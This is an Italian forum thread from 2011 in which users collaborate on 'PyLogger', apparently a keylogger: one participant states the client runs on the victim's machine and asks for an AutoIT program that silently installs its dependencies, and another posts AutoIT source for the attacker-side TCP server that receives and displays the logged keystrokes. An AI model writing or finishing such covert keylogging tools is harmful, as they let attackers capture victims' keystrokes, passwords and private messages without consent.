| /dev/random |
| | CITAZIONE (Ikezawa @ 5/1/2011, 00:27) CITAZIONE (/dev/random @ 5/1/2011, 00:10) Capiamoci: il client è quello della vittima. C'è già, non serve. Serve un programma in AutoIT che soddisfi silenziosamente e automaticamente le dipendenze del client (quelle nel topic in antilamer). Il server è l'altra cosa che dovete scrivere, perché quello in Python funziona bene solo sotto GNU/Linux. La versione del tuo programma python e definitiva ? Sì, per ora CITAZIONE (Ikezawa @ 5/1/2011, 00:27) CITAZIONE (xMasteRx @ 5/1/2011, 00:06) CITAZIONE (xMasteRx @ 4/1/2011, 18:23) prova questo lol CODICE #include<WindowsConstants.au3> #include<WinAPI.au3> #include<GUIConstantsEx.au3> #include<Misc.au3> #include<GUIEdit.au3> Opt("GUIOnEventMode", 1) TCPStartup() $GTitle="PyLogger" Global $CInfo $gWidth=300 $gHeight=600
$IP=@IPAddress1 $PORTA=12345
Global $gBKColor=303030 $GUI=GUICreate($GTitle, $gWidth, $gHeight, -1, -1, $WS_POPUPWINDOW, $WS_EX_LAYERED) WinSetTrans($GUI, "", 254) GUISetOnEvent(-3, "_Exit") $gRgn = _WinAPI_CreateRoundRectRgn(0, 0, $gWidth, $gHeight, 50, 50) _WinAPI_SetWindowRgn($GUI, $gRgn) GUISetBkColor("0x"&$gBKColor) GUICtrlCreateLabel($GTitle, 10, 5, 250, 17) GUICtrlSetOnEvent(-1, "_GMove") GUICtrlSetColor(-1, 0xCCCCCC) GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT) GUICtrlSetFont(-1, 10, "", "", "Calibri") GUICtrlCreateLabel("X", 280, 5, 280, 17) GUICtrlSetOnEvent(-1, "_Exit") GUICtrlSetColor(-1, 0xFF0000) GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT) GUICtrlSetFont(-1, 10, "", "", "Calibri") $Edit=GUICtrlCreateEdit("Connessione..."&@CRLF, 10, 100, 280, 480, $ES_READONLY) GUICtrlSetBkColor(-1,"0x"&$gBKColor) GUICtrlSetColor(-1, 0xCCCCCC) GUICtrlSetFont(-1, 10, "", 2, "Calibri") GUISetState()
$TCPListen=TCPListen($IP, $PORTA) Do $TCPsocket=TCPAccept($TCPListen) Until $TCPsocket=True
AdlibRegister("_Svr_Recv", 10) _GUICtrlEdit_AppendText($Edit, "In ascolto del PyLogger sulla porta "&$PORTA&" sull'ip "&$IP&@CRLF)
Do Sleep(10) Until False
Func _GMove() AdlibRegister("_CGMove", 10) $CInfo=GUIGetCursorInfo($GUI) EndFunc
Func _Svr_Recv() $recv=Int(TCPRecv($TCPsocket, 1024)) If $recv="" Then Return ConsoleWrite(Chr($recv)) EndFunc
Func _CGMove() If Not _IsPressed("01") Then AdlibUnRegister("_CGMove") Return EndIf $MPos=MouseGetPos() If Not IsArray($CInfo) Or Not IsArray($MPos) Then Return WinMove($GUI, "", $MPos[0]-$CInfo[0], $MPos[1]-$CInfo[1]) EndFunc
Func _Exit() Exit EndFunc intendo per semplicissimo lol hai usato 2 porte una per accettare la connessione ed una per ricevere ill log ? do un'occhiata al python quindi Quello di MasteR non l'ho ancora guardato, ma quel WinMove che c'entra xD
| | |
| |
|